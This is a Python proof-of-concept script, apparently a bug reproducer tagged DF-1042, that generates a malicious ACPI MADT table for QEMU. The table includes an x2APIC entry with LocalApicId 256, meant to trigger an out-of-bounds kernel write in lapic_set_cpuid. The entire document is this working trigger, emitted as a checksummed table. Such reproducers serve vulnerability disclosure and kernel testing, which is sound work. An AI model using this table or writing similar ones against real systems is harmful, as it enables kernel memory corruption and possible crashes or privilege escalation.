DF-1042 / gen_madt.py
#!/usr/bin/env python3 """ Generate a malicious ACPI MADT table that triggers the lapic_set_cpuid OOB write (DF-1042). One BSP entry with LocalApicId=0 (passes probe phase), one malicious entry with LocalApicId=256 (triggers OOB write at apic_id_to_cpu_id[256]). Output: a single MADT table ready for `qemu -acpitable file=...`. This script does NOT generate a full RSDP/XSDT/RSDT; QEMU's -acpitable option appends the table to the existing ones and patches the XSDT/RSDT itself, so emitting just the MADT body is sufficient. """ import struct import sys # --- MADT (APIC) header --- # Signature 'APIC', Length, Revision=3 (x2APIC-capable), Checksum (filled # later), OEMID, OEM Table ID, OEM Revision, Creator ID, Creator Revision, # LocalApicAddr (legacy), Flags. SIGNATURE = b'APIC' REVISION = 3 OEM_ID = b'DFLY ' OEM_TBL = b'MALCMADT' OEM_REV = 0 CREATOR = b'INTL' CREATOR_R = 0 LOCAL_APIC_ADDR = 0xfee00000 FLAGS = 1 # PCAT_COMPAT # --- Subtable: LAPIC address override so the kernel uses the right window --- def lapic_addr_ovr(addr): # Type=5 (LAPIC_ADDR_OVERRIDE), Length=12, Reserved(u16), IOAPIC_ADDR(u64) return struct.pack('<BBHQ', 5, 12, 0, addr) # --- Subtable: LOCAL_X2APIC (Type=9) --- def local_x2apic(local_apic_id, uid, flags): # Type(u8)=9, Length(u8)=16, Reserved(u16), LocalApicId(u32), # AcpiProcessorUid(u32), LapicFlags(u32) return struct.pack('<BBHIII', 9, 16, 0, local_apic_id, uid, flags) LOCAL_APIC_ENABLED = 1 body = lapic_addr_ovr(LOCAL_APIC_ADDR) body += local_x2apic(0, 0, LOCAL_APIC_ENABLED) # BSP body += local_x2apic(256, 1, LOCAL_APIC_ENABLED) # OOB-write trigger # MADT header fields (without the body yet): 36 bytes of ACPI table header + # 8 bytes of MADT-specific header (LocalApicAddr, Flags). madt_specific = struct.pack('<II', LOCAL_APIC_ADDR, FLAGS) header_len = 36 + len(madt_specific) total_len = header_len + len(body) header = SIGNATURE header += struct.pack('<I', total_len) header += struct.pack('<B', REVISION) header += struct.pack('<B', 0) # checksum, fixed later header += OEM_ID header += OEM_TBL header += struct.pack('<I', OEM_REV) header += CREATOR header += struct.pack('<I', CREATOR_R) header += madt_specific table = header + body # Fix the checksum: sum of all bytes (including the 0 checksum byte) mod 256 == 0. chk = (-sum(table)) & 0xff table = table[:9] + bytes([chk]) + table[10:] sys.stdout.buffer.write(table) |